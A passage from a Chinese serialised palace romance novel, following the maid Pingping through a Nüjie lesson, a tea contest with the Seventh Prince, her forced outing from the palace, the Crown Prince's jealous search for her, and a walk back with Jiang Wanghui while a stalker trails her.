姚书云最后一个到，一屋子等着上课的女官女史齐刷刷朝她投去目光。 姚书云也不怯，走中央那条道上前登记，萍萍瞧着姚书云的背影，拉了下夕照袖角：“姚娘子是不是不能和我们一起坐了？” “她肯定是第一排。”夕照轻声回应。 金娘子登记姚书云名册，一愣：“姚大家？” 金娘子将册子拿到身前，苦笑：“姚大家来听我的课，要献丑了。” 姚书云是因为萍萍和夕照都报了名，才跟着来，摆手道：“我不是什么大家，你就正常讲，我也想学。” 金娘子应好，待姚书云坐定就开始授业，讲的是《女诫》，金娘子道：“去年我们讲了卑弱第一和夫妇第二，今年开春，续讲敬慎第三。其实这章和卑弱第一差不多，也须谨记男尊女卑，生男和生女是不一样，‘男以强为贵，女以弱为美。生男如狼，犹恐其尫；生女如鼠，犹恐其虎。’男子应当如狼，不能羸弱，女子应当像老鼠，如果像老虎那样就不对了……” 台上，金娘子滔滔不绝，台下有如夕照，认真听记，有如旁人渐渐打盹，还有如姚书云，《女诫》始终没翻开，面上如常，心中却道：那俩吹得多好多好，结果没什么好听的，再不来了 。 萍萍的眉头不自觉蹙了好几下。她发现自己脑子里总能冒出许多书，但好像从来没有读过《女诫》，隐隐不大赞同。 “娘……”她情不自禁呢喃一声。 同桌夕照听见：“怎么突然喊娘？” 萍萍深蹙眉头，心内迷茫：“我也不知道，不自觉就喊了……” 一个时辰课上到最末，金娘子说起这头一节课算试听，就像集市上买果可以先试吃一块，觉得不合适可以换改。 萍萍听到这弯了下唇，这规定挺体恤人的。 “这是故太后定下的规矩。”夕照悄悄告诉萍萍。 课毕，有四、五人留下来想换，萍萍也排在队伍中。轮到她时，金娘子微笑：“我看你后半段心不在焉，就知道你想换。” 不是的不是的，她是莫名喊了声娘后一直忐忑……唉，其实还是怠慢了金娘子。 萍萍没有狡辩，低头赔礼：“对不起。” 金娘子依旧微笑，似乎并不在意：“我的课的确没有意思，我若来听课，也不想听这些，”她递给萍萍一本列着其它日期和授业内容的册子，“你可以试试六艺里面的乐或者数。” 萍萍逐页翻过，到七弦琴课那一页，她看是戊日申时二刻授课，申时不用铺床，戊日在丁日后，还没开始，她也不会比别人少一次课。 萍萍开口：“我想学琴。” 金娘子笑看向那一页：“仙韶院朱司乐的课，值得一学。”她帮萍萍更改了报名，“戊日在丁日后面，正好。” “多谢司籍！” 事毕，夕照还想留下来和金娘子再多说会话。萍萍和姚书云就先告辞，二人往东宫走，路上过了一个水磨的半月门，前面苍松碧梧，竹影萧疏，迎面走来背着药箱的韩太医。 “韩太医！”萍萍招手。 韩太医不紧不慢走近，拧着双眉；似乎不大记得萍萍了，萍萍忙和他说解毒的事，韩太医恍然大悟：“哦，是你，现在好些了吗？” “感觉全好了，还要多谢太医。” “举手之劳，何足挂齿。”韩太医淡道，“我还有事，先走了。” 萍萍看他背着药箱，恐怕是要去给哪位贵人诊治，忙让路不敢耽误。韩太医才刚走，姚书云就惊呼：“完了！” “什么完了？”萍萍跟着紧张。 姚书云摸袖袋：“我有块玉佩落司教司了。” “我陪你去拿。” “不用。”姚书云推了下萍萍，“我自己去拿，你先回去。” 姚书云说着快步折返，萍萍只好道：“那你自己一个人多加小心！” “晓得了，快回去吧！”姚书云回话，却没回头。 萍萍一个人回去，照来时的路走，要途径好几座八角飞檐凉亭。其中有一座萍萍还没走近，就听见亭内聒噪，叽叽喳喳。亭尖正对太阳，萍萍眺望时光照刺眼，手搭凉棚——亭子里围了一圈人，瞧不清在做什么，但这圈人当中有两位作内侍打扮，三位宫人装束，还有一位穿窄袖绛紫圆领袍，头戴玉冠，虽然只能瞧见他的背影，但萍萍猜是某位皇子。 她绕旁边小径，打算多走段路，回避。 紫袍男却和人说笑着转头，瞥见萍萍，笑容立敛。 须臾，重笑，同她招手：“小紫絮，快过来。” 萍萍定住，张了张嘴，发不出声音。 他……不是内侍？ 第79章 第七十九章 大事不好 柳沛说完就转回身继续忙活， 和内侍宫人们说个不停。半晌，才发现萍萍没来自己身边，他回头再冲她一笑：“快过来啊。” 萍萍缓慢走近， 见众人围的中间有两只风炉， 一张石桌上摆着七、八只墨色建盏， 柳沛正和内侍宫人一道注汤点茶，互相比拼。 察觉身边有人凑近，柳沛侧首， 同萍萍笑道：“来瞧瞧， 宫里斗茶没有赢得过我的。” 旁边的内侍立马附和：“一样的茶，一样的水， 咱们七殿下点出来的自称第二，没有人敢称第一。” 萍萍心道：原来他就是那天殿内差点见到的七大王。 想到这暗眺柳沛一眼，见他正慢点脚尖，扬起下巴问：“下一个该谁？” 萍萍不作声，静静瞧着一帮人炙茶碾茶，注汤调膏，渐渐摸清状况——柳沛找来各宫和尚宫局最擅长点茶的内侍和宫人， 与之斗茶。 柳沛势如破竹， 一赢到底。 “怎么样？”他问萍萍， 面前已有五碗茶汤， 他让萍萍随便挑，尝一尝。 萍萍端起来尝了一口，放下茶盏， 抬眸看向柳沛：“奴也想和七殿下比一场，行吗？” 柳沛先是失笑，吁出一声， 继而应允：“本王会手下留情的。” “千万别手下留情。” 两人声音重叠，柳沛连着笑出两声，手空攥拳放在嘴边：“好好，不让你，输太惨你要落泪，可不能怪本王。” 萍萍点头：“好。” 柳沛本来已经低头，闻言抬起来看她一眼，复又低下去碾茶。 萍萍坐他对面，之前卖洗面汤，周围都是卖茶汤的，耳濡目染，偷师一二。她舀一钱匙茶，注汤调匀，那建盏沿下均有折线，注水要到折线为止，再环回击拂，等水面浮现起汤花便算点好。 柳沛差不多跟她同时完成，两盏茶放到一处。柳沛慢悠悠扫看，倏地定住：“你能点出‘淳淳光泽’？” “什么意思？”萍萍反问。 “就是茶面汤花鲜白。” “哦——”萍萍一笑，“这个呀，我们都叫冷粥面，点出的汤花像白粥凝结。” 等等，她这不是冷粥面啊！这白沫子上还漂着翠绿茶末呢！ 润州浴堂门口，也只有两位婆子能点出冷粥面。 她眼神复杂打量七大王，到他这个位置，竟然没见过真正的冷粥面？ 萍萍禁不住瞅向柳沛那一盏，唉……惨不忍睹。她眼瞅着他那盏面上汤花褪到注水线下，现出水痕。 萍萍那盏汤花仍浮。 斗茶以水痕先者为负，柳沛至少输一水，他不等萍萍汤花退，就将两盏茶泼出去：“你这是运气好，再来，三斗两胜！” 萍萍已经心里有数，再来两局，她手法比方才更熟练，柳沛输得更惨。 他呆滞半晌，连连摇头，定定注视萍萍：“你进宫前是不是卖茶汤的？” 萍萍摇首否认。 “那点茶你私下练了几年？”柳沛追着问。 “没多少时间。” “那你就是天下奇才！” 萍萍心底叹口气，这是皇帝的傻儿子，禁宫里的呆头鹅。 她将柳沛请出凉亭，脚下假山，身边莺啼芳树，私下她才诚恳告知：“殿下，奴不是奇才，是别人都不敢赢你。” 见柳沛似有些懵，萍萍给他解释：“妾之美我者，畏我也。” 她突然想到柳湛，可能不需要开口，一个眼神就彼此领会。 柳沛虽不爱学，但《邹忌讽齐王纳谏》被强塞进脑海过，还是能明白萍萍的意思，他忖了片刻，深蹙眉头：“不对啊，本王在宫外微服斗茶，也是一直赢啊！宫外的人又不晓得本王身份。” 萍萍哑口，疑惑，皱了下眉。 柳沛会错意：“别不信啊，本王没骗你，等下回斗茶带你去，真的，本王除了你没输过！” 山下反季花圃，瑶草琪葩，太子和官家分乘二舆。 柳湛正陪官家穿花。径去绛萼宫。官家的金舆四面挂了绡帐，头顶遮阳华盖，香风暖意，官家阖眼小憩，柳湛却是睁着眼，步舆四面也不遮挡，察觉周遭有人，柳湛以为被监视，余光警觉寻去，然后就瞧见两个无比熟悉的背影，心陡一凉。 步舆转弯，柳湛视线中的女人也从背影变成露半张脸，她正同七大王聊着什么，两人唇皆张张合合，看来谁也不愿让对方话掉地上。 柳湛的心越来越凉，隐燃愤怒，就在这时萍萍抬头冲柳沛一笑，而柳沛则张嘴后仰，也是满面笑意。 柳湛眨了下眼，他被头顶的阳光刺到了。 他阖着唇，绷紧下颌，牙亦在暗中紧咬，到后来索性闭眼，免叫人瞧见眸中抑不住的阴冷愤怒。 是夜，东宫寝殿。 萍萍正铺床，一只胳膊从后伸来揽上她的腰。萍萍和夕照都本能回头看，见是太子，夕照自觉退下。 旁的宫人也垂首往外走，还没退出殿外柳湛就笑问萍萍：“今日怎么这么晚？” 萍萍转身仰望他，笑出一对酒窝：“每天都是这个点，是你回太早啦！” 柳湛直直看着她，漆黑的瞳眸仿若吞噬色彩的黑夜，他喉头滑了下，就把她往床。上推，萍萍推他肩膀， 面露担忧，柳湛依旧往前，一只腿跪上来：“孤身体已经好了。” 他下巴微微向上抬，闭眼吻住她，想了想，又将她一只手抓起来贴在自己颊上。 亲了一会，窸窸窣窣地剥衣声。他取出事先浸软的羊肠，手却滞住，自己一步退，步步再退，体谅她至斯，她却背着他和别的男人私会，言笑晏晏，看样子兴许在七弟闯殿之前就互相认识。柳湛心头涌起一丝委屈，很想问清楚原委，却晦涩难以启齿，既怕听到自己不想听的，又觉自己身为太子，开这个口有伤颜面。 “这是什么？”萍萍盯着羊肠，不假思索地问，俄顷，她明白了，张嘴：这、这是用来…… 她脸顿红，正斟酌怎么描绘，柳湛突然生硬接话：“还不是因为你不想再饮避子汤。” 呛她一句他心里觉得舒服些，但仍不畅快。 萍萍一愣，鼻内立酸。 柳湛已经囫囵戴上，闭眼封唇，沉沦不想其它。萍萍也习惯性闭眼，却又睁开了片刻，看柳湛近在咫尺的脸，凤眼紧闭显得羽睫更长。 她犹豫须臾，还是闭上眼睛。 耳鬓厮磨，一夜旖旎。 柳湛全程阖眼，只在中途萍萍跃起翻上时睁开双眼，抬手将她扒下，自己也一个翻身，重闭起眼。 事毕，殿内十二时辰不断地龙，二人锦被只拉到腰间。萍萍躺在柳湛怀里，同朝内侧卧，他的一只手从她脖颈下穿过，手与她的手似贴非贴，玩着她的手指。 良久，柳湛用不经意地语气问：“之前和我提的司教司，是今日授业吧？” “是。” “你去了么？今日都做了什么？” “去了呀，”萍萍指向上，也拨他的手指，“今日我和夕照一道去的，给我们授业的女学究是夕照未入宫前服侍的娘子，姓金，如今在宫中任司籍。”察觉柳湛的食指主动勾住她的手指，她手便没再动，“给我们讲《女诫》，听了一个多时辰……”说实话她总觉着那书里文字有几分别扭，比方女子应当侍奉夫君，她觉得这句没错，但不是因为男尊女卑，而是因为那女子爱她的夫君。 同理女子缠绵病榻时，她的夫君也会因情意侍奉她。 “金娘子说下回可以换别的学，我就去换了学琴，仙韶院那边从明日开始教，逢戊日的申时三刻开课，我登记的时候还深想，回来设身处地一琢磨，的确太早太晚都会吵着人，午时也有人午休，只有申时较为合理。” 柳湛心道，琴这技艺是熟能生巧，务必勤练，十日才学一回那能学到什么？ 他挪了挪身，始终握着她的手，说话时气息拂过萍萍后脑：“想学琴怎么不来找孤？” “哎呀不一样的，”萍萍捏了下他是手，“我刚开始学肯定弹得很难听，估计比鸦叫还聒噪，等我入门了再来找你，而且我想多认识些朋友嘛。” 良久，柳湛嗯了一声算作应允。她今天从司教司出来以后呢？做了些什么不打算同他说吗？ “好了快睡吧，时候不早了。”萍萍拍了下他的手，拉高锦被，柳湛抿唇，沉眸暗忖，萍萍却转过身来拥住他，小腿架上。 柳湛一笑，闭眼入眠。 翌日，萍萍从仙韶院刚学完回来，袁未罗就上门送来一张桐琴，说是殿下所赠。 萍萍有空就抚这张琴，可一直像在弦上捉虫，到清明这日上课，依旧弹得不能听——结果就被朱司乐狠狠批了一顿。 萍萍没生气也没觉得委屈，朱司乐是爱之深责之切，自己的确没有天赋，所以以后要更勤奋练琴。 朱司乐看萍萍一直赔笑，反倒不好意思，课后留下她又教了一刻钟，专门纠错。 等教完，萍萍瞧见朱司乐一张张套琴套，避免落灰，便没走，帮着套，事后还帮忙打扫。朱司乐锁门时，她就等在一边。 二女并行，朱司乐有心再点拨她些，刚启唇：“太子殿下的琴……” “司乐！”远处有宫人同朱司乐招手，快步走近。 萍萍不认识，屈膝行礼。朱司乐上下打量这位典言：“你这风风火火要去做什么？” “唉。”那典言叹口气，“今日祭祀，官家圣意说要从简，从今年起不再做太后冥诞，合在清明一并祭拜。” 她身为典言，要加急草拟宣传事宜。 朱司乐没接话，太后娘娘亡故六年，官家就做了六年冥诞，颇俱孝心，而今停下没什么异议。 朱司乐与典言分别，与萍萍继续前行。她入宫二十余年，掖庭大半相识，沿路人人同她打招呼，渐渐地，包括萍萍在内，变成六人同行。 前方走来一方阵内侍，皆着紫衫白绢，中抬金舆上坐着的男子履袍公服，一身素白。萍萍听见旁边的宫人都跪地拜道：“参见陛下！” 她赶紧也跟着一起跪拜，三呼万岁。 心砰砰跳，这是第1回 ，有生之年竟也有一回，能亲眼见到官家。 忍不住偷瞧了一眼，官家身形匀称，骨相优越，虽然眼袋偏重却不觉老。 他身上竟没有一点萍萍以为会有的盛气凌人、不怒自威，弯下的眉和撇下的嘴角都散发着倦怠，萍萍觉得他看着就像一位贵气些的邻家老翁。 “都起来吧。” 萍萍跟随朱司乐默默起身，让到一边。原来官家的声音是这样的，轻松随和，带点慵懒，和声如洪钟不沾边。 官家御驾远去，内侍们竟没有一点脚步声。萍萍瞅着他们无声挪动的脚，才惊觉只要有官家在场，大多数时候所有人都死寂般沉默，跟没有舌头一样。 萍萍和朱司乐分别后，距离东宫只剩下一小段路，忽有一辆马车从后冲来，柳沛挑着车帘笑道：“小紫絮，快上来。” 萍萍完全反应不过来，先怔宫里怎么还可以跑马车，继而慌忙避让，马车在她脚边停下，骏马扬起前蹄，卷起落叶。萍萍觉得自己要再迟一步反应保管被踏死。 柳沛从车厢里钻出半个身子，招手催促：“快上来，带你去宫外斗茶！” 清明出新茶了。 萍萍怎会与他同乘，婉拒道：“七殿下，奴还要当值。” “现在又不是清晨夜晚，你司什么寝？”柳沛不满道，“不是说好了宫外斗茶和本王一起去吗？” 萍萍正思忖如何再找理由，忽觉腰上一硬，竟被柳沛强行箍腰掠来车上，男人的力量远大于她，萍萍被硬生生塞进车厢。 柳沛吩咐：“走，出宫！” 车夫亦是他随身内侍，扬鞭疾呼：“驾——” “七大王您这样于理不合！”萍萍急着跟他讲道理，“而且今日是清明，祭祀的日子，不应玩乐。” 柳沛却端起车中案上一碟花馍问她：“吃不？这个可甜且不油。” 萍萍瞟一眼，愈发无奈，碟中盛的是面捏柳串的飞燕，名唤寒燕，应该在清明前两日吃，正经上坟的清明按规矩不能吃了。 柳沛却觉喜欢多吃几日也无妨。 马跑得飞快，车厢也随之颠簸起伏，萍萍挑开窗帘往外看，单手扶不稳，滑向厢壁，柳沛虚扶了下。 萍萍眼里全是焦急，他们好像已经出宫了，且外面的街景全不认得：“这不是从宣德门出去？” 柳沛舌头舔了下唇，轻笑：“要是宣德门还能打马出去？” 萍萍拧眉盯着他，要不是皇子，真 想将他一脚踹下车。她深吸口气，赔笑道：“七殿下，您放奴下去吧，奴不能和您同乘！更不能没有陛下赦令就离宫！” 柳沛却一霎变脸，眉头轻挑，眸子促起，目光变得森冷：“还没有谁敢前脚答应本王，后脚就食言的。” 萍萍敛笑，她相信此刻如果真惹怒了柳沛，他不会踢她下去，但极有可能在车厢里杀了她。 * 东宫，书房。 柳湛正和蒋望回说事，一内侍慌慌张张跑进来，甚至忘记敲门。 柳湛私底下安排了一些内侍宫人密切关注萍萍动向，如遇险或受委屈，及时通报。这内侍便是其中之一，柳湛见到他，倏地捏紧手上茶盏。 “殿下、殿下，大事不好！” 柳湛犹豫了一霎，没有屏退蒋望回：“快说，什么事？” “银娘子被七殿下强掠上马车，带出宫啦！” 柳湛闻言站起拂袖：“备马！” 他大步流星朝门口走，发现蒋望回也跟着，垂眸顿了下足，继续前赶，默默允了。 第80章 第八十章 明知不可得却仍抱一丝希望…… * 这厢， 马车内。 不能下车，萍萍便做起不能下车的打算，连眺数眼柳沛的半袖褙子， 平头罗鞋， 柳沛不明所以， 也低头瞅自己。 “殿下一身微服，可奴怎么办？” 柳沛这才意识到她还穿戴着宫婢的袍服和幞头，不由愕然。 这会他又还原成愣头青、呆头鹅了， 萍萍耷拉下眉眼：“殿下总要给我找身合适的衣裳吧？” 柳沛想了想， 应道：“到了给你找。” 萍萍咬唇，反正柳沛不阻拦看街景， 她就挑开窗帘记路，好像到了郊外，除却一座尼寺，沿途皆是青圃，芳草如茵，春容满野，偶遇几只燕子在晴空中盘旋。 骏马嘶鸣， 几位少年打马驰过， 柳沛倾身凑来窗前， 萍萍赶紧避开。 柳沛扭头催促车夫：“快， 他们已经去了！” 马车倍道兼行，约莫一炷香功夫停下，萍萍猫腰捂口， 柳沛关切：“怎么了？” 萍萍心道还问？都快颠吐了！ 她捋了捋胸口：“你快给我去找衣裳吧！” 柳沛跳下马车：“等着本王！” 萍萍隔着门帘，听他在外催促内侍去购置一套，过会内侍的脚步声越来越重， 喘着粗气：“殿下，买回来了。” 柳沛便冲里面喊话：“给你放车轼上了。” 须臾，又道：“车厢里还有隔间，你要是觉得不方便就推门进去换！” “好！” 得了萍萍答复，柳沛和内侍都快步走远，背对马车。 萍萍一手拉紧车帘，帘和门间都不留缝，另一只手伸出去，摸索一番，将衣物拖进来，发现是一水的天水碧罗裙褙，上面绣了蝶恋花纹样，绦带上缠绕白玉环，竟还买了一顶花冠。 萍萍推门进里间换，第1回 戴花冠，不太会，花了不少时间。柳沛站得远，且在想斗茶，萍萍下马车走到他身后，唤了一声七殿下，他才发现她换好了。 “女人都这么磨蹭么？”柳沛先抱怨再转身，见萍萍丰腴凝白，面如冠上桃花，不禁定定多看了两眼。 萍萍却问他：“殿下，那车里琉璃瓶里盛的是什么水？” 她刚进里间，见竟绑着两个盛满清水的琉璃瓶并一张茶饼，上下左右都有布托着，竟未颠碎。 “天河水。” 便是晨露。 “待会斗茶要用的。”柳沛不假思索告诉她。 “那茶饼呢？”萍萍追问。 柳沛一笑：“昨儿刚献进宫的建安小龙珠。” 那是最好的贡茶。 萍萍有点明白为什么他在宫外也能赢了。 柳沛领她进了一座郊外别苑，粉墙细柳，杏花如绣，池塘边停着一艘画舫，里面四、五位大官人，或两两闲聊，或靠在躺椅上任女使揉肩，见柳沛来，当中一人摇扇迎上：“杨兄，就等你啦！” “开始开始！”柳沛摆手，心心念念只有斗茶，对别的事没兴趣。 要让那小宫婢瞧瞧，他之前仅是运气不好，其实有得是真本事。 众人就围在圆桌旁斗茶，都用的兔毫盏，但其他人用井水、山泉，至于茶饼哪个敢用建安贡茶，顶多沾个边，用个福建路的。 柳沛果然又夺魁首。 斗完众人用膳食，满桌皆是麦糕、乳酪、乳饼这类甜腻奶香，油乎乎的，御膳都是逢迎官家喜好，几乎吃不到，柳沛在这一口气吃了七、八块乳酪，爱死。 他看萍萍不动筷子，以为她和官家一样不喜欢甜乳，便指桌上唯一一盘炭炙猪肉，汴京人称烧臆子：“这个是咸口的。” 闻言，旁边的大官人开口相邀：“今儿烧臆子是我这庄上养的黑山猪烤的，杨兄尝一尝，应该比别处好吃不少。” 烧臆子另配饼皮，讲究人都用饼皮包肉再送入口，唤做荷叶夹。眼下饼皮都在另一张盘里，叠成扇状，柳沛是不会亲自动手的，命令萍萍：“给我也包一个。” 萍萍其实打心底不情愿，深吸了口气，给他包了一个递过去。柳沛咬一口，招手引萍萍上岸，远离了众人才问：“怎么样，今日见着本王的实力了吧？他们不是妾畏我了吧？” “不是。” 柳沛闻言，得意洋洋。 “但不是邹忌纳谏，却成了田忌赛马，殿下用的水和茶和他们不一样，上等马斗下等马，自然能赢。” 柳沛面浮愠色。 萍萍又道：“殿下要是不服气，试试用同样的茶、同样的水，再比一场？” 柳沛抿唇不说话。 萍萍就明白了，他其实不希望别人忤逆他。 她想着他是阿湛弟弟，才多讲几句逆耳忠言，既如此，便也顺着说：“方才只是奴的猜测，殿下其实茶技不赖，炙茶能显龟纹，碾细香尘起，候汤如如涌泉连珠，只不过这几天稍微差那么一点运气。”她冲他笑了笑，没有酒窝，“人皆有歹运好运，待殿下运再起时，天地同力，奴婢就远不是殿下对手了。 ” 柳沛抿唇咬齿，其实心里清楚萍萍说的对，他出了上等马才赢的，可就是要面子不肯承认，想要这小宫婢也捧着自己，可她真捧了，又觉心里不舒服，还是想她像从前那样，直言不讳，独一无二。 柳沛心内颇闷，斗茶也没了兴致，过不一会就同众人告辞。 终于可以回宫了，萍萍暗暗松口气，可行不多久，后面就有人在后面囔：“前面可是杨兄马车？” 车仍行，柳沛掀帘：“是我。” 来的是方才斗茶的少年，单人匹马，边追车边笑：“杨兄，瞧你这眉毛锁的，是有什么烦心事？” 柳沛不答。 那少年一勒缰，马蹄抬起：“走，踏青去！我知道一处开阔好玩的地方，去那什么烦心事都没有了，唯余痛快！” 柳沛就爱玩，又被说动。 萍萍读他神色，轻轻呼唤：“殿下。” 柳沛觉她说话似吹气，又像柳枝挠心，痒痒的：“什么事？” 萍萍小心翼翼，尽量赔笑，以免激怒他：“殿下只和奴说过要来斗茶，没有提过踏青跑马。” 她回忆过了，斗茶其实是当时凉亭里柳沛自己说了一句，她没接话，更没应承他。 柳沛想了想：“你不想去？” 萍萍点头，又怕点了狠了惹恼这位主。 柳沛倒没生气，一口应允：“行呢，但眼下只有一辆车，本王还要去追他们，等会给你再雇一辆车吧。” “多谢殿下美意，奴能自己回去。”萍萍只想早点离开。 “这离宫里挺远的……” “请殿下放心，奴能回去。” 柳沛闻言没再坚持，从怀中掏出一张二百两的交子交给萍萍：“走累了就雇车。” 接着下令停车，放萍萍下去。 萍萍下车以后，目送柳沛马车驶远，才调头拐弯，准备先寻个人问问，怎么从郊野回城。 * 高坟巍巍，松柏森森。 一阵风起，吹灭碑前三柱香，吹得纸马纸钱乱飞。 柳湛执缰，勒得马头高高 扬起，在原地转一圈，整个坟场尽收眼底——不见柳沛和萍萍。 柳沛的亲母生前是位宫婢，官家临时起意，幸了一回，生子难产亡故，追封美人。她不会随百年后的官家葬入皇陵，只埋在汴京西南的宗室坟场。 时值清明，柳湛听说柳沛出宫，第一个想到的就是这个地方。 可找不见，柳沛并没有来。 马蹄落下，柳湛伫原地想了会，关心者乱，怎么没有想到，清明是新茶上市第一日，柳沛一定会去东南郊最有名的茶庄斗茶。 他已经知道去哪能找见萍萍，便决意支开蒋望回：“希颜，孤往东你往北，分头去找更快些。” “殿下言之有理。”蒋望回赞成，打马与柳湛分别，沿路搜寻。 柳湛这厢，边赶往茶庄边眼睛搜寻道路两侧，不肯错漏一位行人。也不知找了多久，瞧见柳沛胳膊搭在窗上，脑袋探出来，和一褐马青衫的少年有说有笑，一路同行。 柳湛没心思听他们聊什么，抖了下缰绳，打马上前。 柳沛这才瞧见来人，面露错愕：“六哥？” 柳湛恨不得抡他一拳。 太子脸色不愉，柳沛还是有些憷的，忙和结伴少年解释：“我阿兄找来了，下回再聚。” 少年却不以为意：“喊上你阿兄一起去嘛。” “算了算了，我也该回家了。”柳沛命车夫将马车停到偏僻处，车旁一排杨柳犹如芙蓉帐。 柳沛跳下车，笑嘻嘻：“六哥，什么风把您吹来了？” 柳湛径直跨进车内，车厢内外翻了个遍，不仅找了隔间，连车底都蹲下来瞧。 瞧完又觉自己有点可笑。 四周之前就搜寻过，不见萍萍，柳湛没好气问：“她呢？” 柳沛便将自己斗完茶还要踏青，萍萍不愿跟随，提前回宫的事坦然交待。 柳湛张目：“荒郊野岭，你放她一个人回去？” 她是女子，又不会功夫，他不敢想象。 柳沛挪眼，自己也担心啊，可她坚持：“我跟她说了让她雇车的。” 柳湛反剪双手，右手反扣握上袖里剑：“作甚要动孤的人？” 柳沛不以为然，各宫内侍宫人借调不是常有的事？怎么就突然不能动了？ 柳湛垂眼瞥向柳沛的手，听内侍描述，柳沛捋萍萍上车时箍了她的腰，就是这双手，这两条胳膊。 “下回哪只手碰了孤的女人，哪只就剁了。” 柳沛一愣，懵了须臾，才缓缓觉出人和女人的区别。 不至于吧，柳沛心想，如果六哥讨要自己的婢女，自己绝对双手奉上，可他仅仅是带六哥的女人出了趟宫，甚至只为了斗茶，柳湛却大动肝火，斥如此重话。 这六哥，这太子，忒小气了！ 这非议柳沛只敢在心底嘀咕，嘴上赶紧解释：“六哥你误会了，我带她出来斗茶，主要是为了赢，没一分男男女女间的心思。”将和萍萍斗茶原委因果一说，又去繁留简，说自己和萍萍是爬墙认识，只此一回，第2回 见就是凉亭斗茶。 “她说她叫紫絮，我一直以为是废后宫里的呢，哪晓得是六哥的人。”柳沛假装那日寝殿没认出萍萍，拍着胸脯叫柳湛安心：“我当她好玩，看她和看我宫里那些内监宫人无甚区别，反正心里没鬼，坦荡荡，都同你讲出来，句句属实！” 柳湛着急出来，来不及更换骑射袍服，臂一抬起，对襟衫的广袖就垂下，他指着柳沛警告：“你最好这样。” 柳湛说完拂袖调头，一个跃起翻落马上。 “驾——”急急到别处去寻。 * 萍萍运气好，走不多久就遇到一茶摊，心中一喜，脚下加快。 摊主人瞧见，也乐呵呵迎上：“娘子要喝茶？” 萍萍笑了下，酒窝旋起：“店家，我想向您打听，想回城怎么走呀？” 摊主正要给她讲怎么走，桌边坐着喝茶的，农夫打扮男子突然转过身来问她：“你想回城？” “是啊。” 男子和旁边挨坐的包头巾女子对视一眼，女子开口：“不嫌弃的话我们可以捎你一程，只不过我们要绕路北门，远些，行吗？” “行的行的，多谢二位！” 萍萍和那女子挤上板车，男子在前赶驴，聊一会才晓得这对小夫妻的妻子有身孕了，月份不大，尚未显怀，但夫君仍紧张得不得了，担心前面修路，板车颠簸，要绕去北门走平坦大道。 小夫妻又问萍萍成亲没有，有没有子女，萍萍不知怎地突然就想到避子汤。 “成亲了。”她低低地答。 通过城门后仨人分别，萍萍问过路后，往宣德门方向走，忽然右手边响起急促马蹄声，越来越近，再近些却急止，马蹄声陡然消失。 她侧头望去，瞧见一匹近在咫尺的枣红马，马眼硕大。蒋望回骑在马上刚想喊她，萍萍就仰起头，和他四目相对。 萍萍怔了下。 蒋望回缓缓扬起嘴角，萍萍见状回以一笑。 他明知不可得却仍抱一丝希望，勒缰静待，无声邀请她上马。 半晌，萍萍仍未流露丝毫要上马的意思，反而问他：“蒋兄，你从哪来，要到哪去？” 蒋望回心底长叹一声，跃下牵马，与萍萍并立：“刚办完事，要回宫去。” “正好，我也打算回宫，刚问了宣德门怎么走。” “我知道怎么回去，我领你走。”蒋望回说着心想，不同乘一起也好，慢慢走回去时间更漫长。 “走吧。”他笑道。 萍萍点头，二人一马往城中行去，日辉在他们身后投向城墙，一排绿柳，一树梨花。 蒋望回微笑：“上回说御道杈藤到了春天桃李杏争，很是好看，没想到城中处处皆是风景，赏心悦目，不输御道。” 萍萍闻言再环扫一圈，确定周遭的景色和城外没什么分别。魔/蝎/小/说/m/o/x/i/e/x/s/.c/o/m 80-90 第81章 第八十一章 三醋姻缘 “你方才办事是不是就在城里， 没出去？” 蒋望回扭头看她：“娘子何出此言？” “其实城外景色和这一样的。” 蒋望回一怔，继而轻笑：“那我下回有机会，要出城看看。” 二人逐步踏上石板道路， 时值清明， 两侧支摊贩卖的皆是纸马、香烛， 甚至有纸扎的亭台楼阁。一支骆驼队从后经过，萍萍和蒋望回牵马让到一侧，蒋望回抬手拦在萍萍身前， 以防她被骆驼伤到。 队伍走后， 现出前方汴河分流的蜿蜒小溪，一座石拱桥搭在溪上。 萍萍记得问路时人说遇到第一座桥就上桥， 正想着，蒋望回抬臂指桥上：“这边走。” 萍萍看一眼他的马：“马能过桥吗？” 蒋望回点头，二人一马过桥，恰有一扁舟穿过桥洞，溪岸边亦是成排翠柳，万条垂绦。经过官署后是间肉铺，萍萍好奇， 上前询价， 比润州贵上不少。 蒋望回在旁等她问完， 继续往前走了， 才温声道：“在东京做工比别处赚得多，物价也贵。” 萍萍嗯声点头，前方不少茶楼酒肆， 无甚兴趣。蒋望回也不说话了，萍萍觉得有些漫长，便问：“你不问我出城做什么吗？” “娘子出城自有出城的道理。”蒋望回的马颇温顺， 他停下马也停下，他侧半个身子笑道，“那我现在问，你出城做什么？” 萍萍也没走了，站着将柳沛所作所为一讲。蒋望回只须臾沉吟 ，便道：“还是少与七大王接触，他容易伤你……”蒋望回忽然止话，回头眺望。 萍萍心一紧，小声问：“七殿下在附近？” 蒋望回觉得有人在尾随，但细听细看，却又没有，更不能断是七大王。 他摇头：“没有，我谵妄了。” 俩人再往前走，街边的木工坊支摊出来卖些木制的小玩意，陀螺、不倒翁、鲁班锁，还有一列只人半个巴掌大的木制小手，凸着，手背拱起，五指垂下。 萍萍好奇：“这是什么？” “这是梳子。”摊主解释。 “这怎么梳头？” “这主要用来按摩，”摊主抓起一只，隔空演示，接着递到萍萍手上，让她也试。萍萍看摊主方才木梳未触头发，她也不好意思弄脏人未卖的东西，放下梳子道了声谢，继续往前走。 木工坊的摊位上一直有人，不一会裴改之混迹人群，也到摊边——他已经跟踪萍萍有一段路了，抓起萍萍摸过的木梳就要买下。 摊主见他穿襕衫，以为书生：“小官人，读书累了，梳一梳很解乏的。” 裴改之不置可否，付钱即走。他记得刚才萍萍攥着木做的五指，便将那五指拿到鼻下轻嗅，旋即漾起笑意。 萍萍和蒋望回这边又遇见一卖柳编的摊位，长在路边的柳条经摊主一番盘弄，变成箩筐簸箕、背篓花瓶，竟还编了个小包，萍萍忍不住提起放下，蒋望回笑问：“你想要么？” 萍萍摇摇头，站起身，前方到闹市，人渐渐多起来，摩肩接踵，裴改之随后来到柳编摊位，买下小包，举起提把轻碰自己嘴唇。 闹市许多小吃，家家都好香，萍萍看得眼花缭乱，待见一家在卖酥油鲍螺，忍不住了，咽了口口水，决定去买。 蒋望回这么大个活人在旁边，吃独食过意不去，萍萍就买了八个，一人分四，蒋望回见状要结账，萍萍阻拦，原本是要隔空虚推他那只攥着铜板的手，哪晓得一下推过了，手挨到蒋望回的手，他抓了下立马松开，连带着胳膊都缩回去，头埋低萍萍只能瞧见他的青丝和发簪。 蒋望回后退一步。 